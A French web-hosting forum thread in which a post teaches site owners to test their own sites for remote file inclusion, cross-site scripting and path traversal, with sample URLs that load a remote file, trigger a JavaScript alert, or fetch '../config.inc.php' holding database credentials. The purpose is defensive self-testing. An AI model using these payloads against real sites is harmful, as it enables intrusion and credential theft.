Sécuriser et protéger son site web des attaques des pirates et hackers

#1
Comment tester la sécurité de mon site web?

Voici 3 méthodes simples qui vous permettront de vérifier si vous utilisez un script avec de grosses failles de sécurité. Avec un filtrage des données entrantes et les conseils donnés dans ce forum, vous devriez être capable de régler le problème. Sinon, pour votre sécurité, changez de blog, forum, cms, gallery, wiki car le développeur ne s'est pas préoccupé de la sécurité.

D'après mes logs, les 3 attaques suivantes représentent la grosse majorité. Ces failles sont si énormes que les pirates les cherchent en premier. Ils sont comme nous, adeptes du moindre effort.

REMARQUE 1: aucun de ces exemples ne vous apprendra à pirater un site. Il en faut bien plus et c'est plus compliqué que ça. Cependant, vous saurez si votre script est mal codé ou non.

REMARQUE 2: Désactivez les règles de filtrages du fichier htaccess proposées ici: http://forum.ovh.net/showpost.php?p=103757 . En effet, ces règles vont stopper la plupart des attaques présentées ci-dessous en vous envoyant une erreur "403 Forbidden". Donc, pour savoir si votre script est faillible, désactivez ces règles et s'il y a une faille, corrigez le script ou installez-en un autre mieux sécurisé.

1- Attaque par exécution d'un script externe:
Créez un fichier texte contenant le code suivant:
PHP:
 echo "Hackeur vaillant, rien d'impossible !!";
?>
Appelez-le "pirate.txt" et faites-en une autre copie appelée "pirate.php". Puis, par FTP, mettez-les dans le dossier www de votre serveur.

Dans votre blog, forum, cms, gallery, wiki, les URLs ressemblent à ça (à adapter à votre cas):
Code:
http://www.votredomaine.tld/index.php?page=123
Remplacez "123" par "http://www.votredomaine.tld/pirate.txt" comme ceci:
Code:
http://www.votredomaine.tld/index.php?page=http://www.votredomaine.tld/pirate.txt?
Si vous voyez le message "Hackeur vaillant, rien d'impossible !!" apparaître, alors vous avez un énorme trou de sécurité. Oui, un fichier texte, au lieu d'être lu, a été exécuté en php. On peut faire la même chose avec son fichier php:
Code:
http://www.votredomaine.tld/index.php?page=http://www.votredomaine.tld/pirate.php?
On peut aller plus loin. Si le fichier pirate est sur un autre site:
Code:
http://www.votredomaine.tld/index.php?page=http://www.autresiteweb.tld/pirate.txt?
2- Attaque par XSS ou Cross Site Scripting:
On utilise le javascript pour prendre le contrôle de votre blog, forum, cms, gallery, wiki.
Vos URLs ressemblent à ça (à adapter à votre cas):
Code:
http ://www.votredomaine.tld/index.php?page=123
On remplace "123" par du javascript. S'il n'est pas filtré, alors c'est piraté. Par exemple:
Code:
http ://www.votredomaine.tld/index.php?page=">
Ou une autre variante:
Code:
http://www.votredomaine.tld/index.php?page=javascript:alert(%22Hackeur vaillant, rien d'impossible !!%22)
Si une fenêtre d'alerte javascript apparaît avec le texte "Hackeur vaillant, rien d'impossible !!", votre site est ouvert à ce genre d'attaque.
3- Faille dans le téléchargement de fichiers:
Cela s'applique à 2 cas:

a) Vous avez un script de téléchargement qui propose à vos visiteurs de télécharger des fichiers. Vous avez mis tous les fichiers à télécharger dans un dossier de votre hébergement, par exemple /home/loginftp/www/download/ .
Votre URL ressemble à ça (à adapter à votre cas):
Code:
http://www.votredomaine.tld/download.php?fichier=monfichier.pdf
Si on on modifie "monfichier.pdf" qui se trouve dans le dossier "/home/loginftp/www/download/" par "../config.inc.php" qui se trouve ici "/home/loginftp/www/" comme cela:
Code:
http://www.votredomaine.tld/download.php?fichier=../config.inc.php
Est-ce qu'on le télécharge ? A-t-on ainsi les login et mot de passe de votre base de données SQL ? Croyez-le ou pas, mon script de téléchargement le permettait. Donc, on pouvait télécharger n'importe quel fichier de mon site.

b) Vous avez un script PHP qui utilise la fonction include() pour appeler d'autres fichiers. Ces fichiers sont appelés depuis l'URL et non dans le code PHP du script. Par exemple:
Code:
http://www.votredomaine.tld/index.php?page=forum.php
Comme ci-dessus, peut-on charger d'autres fichiers? Par exemple le fichier robots.txt:
Code:
http://www.votredomaine.tld/index.php?page=robots.txt
Normalement, on ne peut pas voir le contenu d'un fichier PHP car son code est exécuté à la différence du script de téléchargement en a). Donc, ceci devrait donner une page blanche, mais vérifiez-le quand même:
Code:
http://www.votredomaine.tld/index.php?page=config.inc.php
Heureusement, sur les serveurs mutualisés d'OVH la fonction PHP include() ne permet pas d'ouvrir un fichier en dehors de votre hébergement (pour des raisons de sécurité). Mais cela doit être possible sur d'autres serveurs moins sécurisés:
Code:
http://www.votredomaine.tld/index.php?page=http://www.autresite.tld
À cœur vaillant, rien d'impossible est la devise de Jacques Coeur qui vécut au XVe s.
Comme je regrette le temps des pages statiques en html ! est ma devise :p
 

vscconcept

New Member
#3
j'ai testé vos manipulation et....je me suis fait bannir de mon site, j'ai egalement recu un email de fichier logs comme quoi une tentative de hacks à été détectée, j'ai enfin pût sécurisé le site un miminum de ces attaques, j'ai suivis vos conseils et cela fonctionne !!
j'ai installé:
php-firewall
Sentinelle
jsecure
editer les fichiers .htaccess comme cité sur le lien ovh
et..ca marche... !!
tres bon tuto que je conseille à tous le monde, en n'oubliant pas defaire une sauvegarde journalière de sa db et de mettre à jours votre site dans sa toute dernère version!

MERCI pour se tuto ! j'en avais marre des attaque à répetition, le site avait été suspendu justement a cause de cela, je suis enfin rassuré !
Bravo !
 

vscconcept

New Member
#5
merci beaucoup pour crawltrack, cela me fait une sécurité supplémentaire, ce n'est jamais de trop pour se proteger, merci pour votre lien ;) je vais l'instalé aujourd'hui même.
 
Haut